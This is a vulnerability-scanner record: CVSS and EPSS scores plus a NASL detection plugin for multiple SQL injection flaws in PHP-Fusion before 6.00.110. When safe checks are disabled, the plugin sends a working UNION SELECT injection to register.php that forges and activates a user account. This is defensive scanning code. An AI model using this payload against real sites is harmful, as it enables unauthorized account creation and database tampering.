7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
6.8 Medium
AI Score
Confidence
Low
0.007 Low
EPSS
Percentile
80.7%
The remote version of PHP-Fusion is vulnerable to multiple SQL
injection attacks due to its failure to properly sanitize certain parameters.
# SPDX-FileCopyrightText: 2005 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:php-fusion:php-fusion";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.20009");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2005-3157", "CVE-2005-3158", "CVE-2005-3160", "CVE-2005-3161");
script_name("PHP-Fusion < 6.00.110 Multiple SQL Injection Vulnerabilities");
script_category(ACT_MIXED_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2005 Josh Zlatin-Amishav");
script_dependencies("secpod_php_fusion_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("php-fusion/detected");
script_xref(name:"URL", value:"https://www.securityfocus.org/archive/1/411909");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/14964");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/14992");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15005");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15018");
script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/secunia/2005-q4/0021.html");
script_tag(name:"solution", value:"Update to at least version 6.00.110 of PHP-Fusion.");
script_tag(name:"summary", value:"The remote version of PHP-Fusion is vulnerable to multiple SQL
injection attacks due to its failure to properly sanitize certain parameters.");
script_tag(name:"impact", value:"Provided PHP's 'magic_quotes_gpc' setting is disabled, these flaws
allow an attacker to manipulate database queries, which may result in the disclosure or modification of data.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("version_func.inc");
include("misc_func.inc");
include("url_func.inc");
if( ! port = get_app_port( cpe:CPE ) )
exit( 0 );
if( ! infos = get_app_version_and_location( cpe:CPE, port:port, exit_no_version:FALSE ) )
exit( 0 );
ver = infos["version"];
dir = infos["location"];
if( ! safe_checks() ) {
vtstrings = get_vt_strings();
if( dir == "/" )
dir = "";
user = rand_str(charset:"abcdefghijklmnopqrstuvwxyz0123456789_");
pass = rand_str();
email = string(user, "@", get_host_name());
sploit = string("UNION SELECT ",'"",', '"",', '0,',"'a:4:{",
's:9:"user_name";s:', strlen(user), ':"', user, '";',
's:13:"user_password";s:', strlen(pass), ':"', pass, '";',
's:10:"user_email";s:', strlen(email), ':"', email, '";',
's:15:"user_hide_email";s:1:"1";}');
postdata = string("activate=", rand_str(), "'+", urlencode(str:sploit));
url = dir + "/register.php?plugin=" + vtstrings["lowercase"];
req = http_post(item:url, port:port, data:postdata);
res = http_keepalive_send_recv( port:port, data:req, bodyonly:TRUE );
if( !res )
exit( 0 );
if( "Your account has been verified." >< res ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
if( version_is_less_equal( version:ver, test_version:"6.00.100" ) ) {
report = report_fixed_ver( installed_version:ver, fixed_version:"6.00.110", install_path:dir );
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );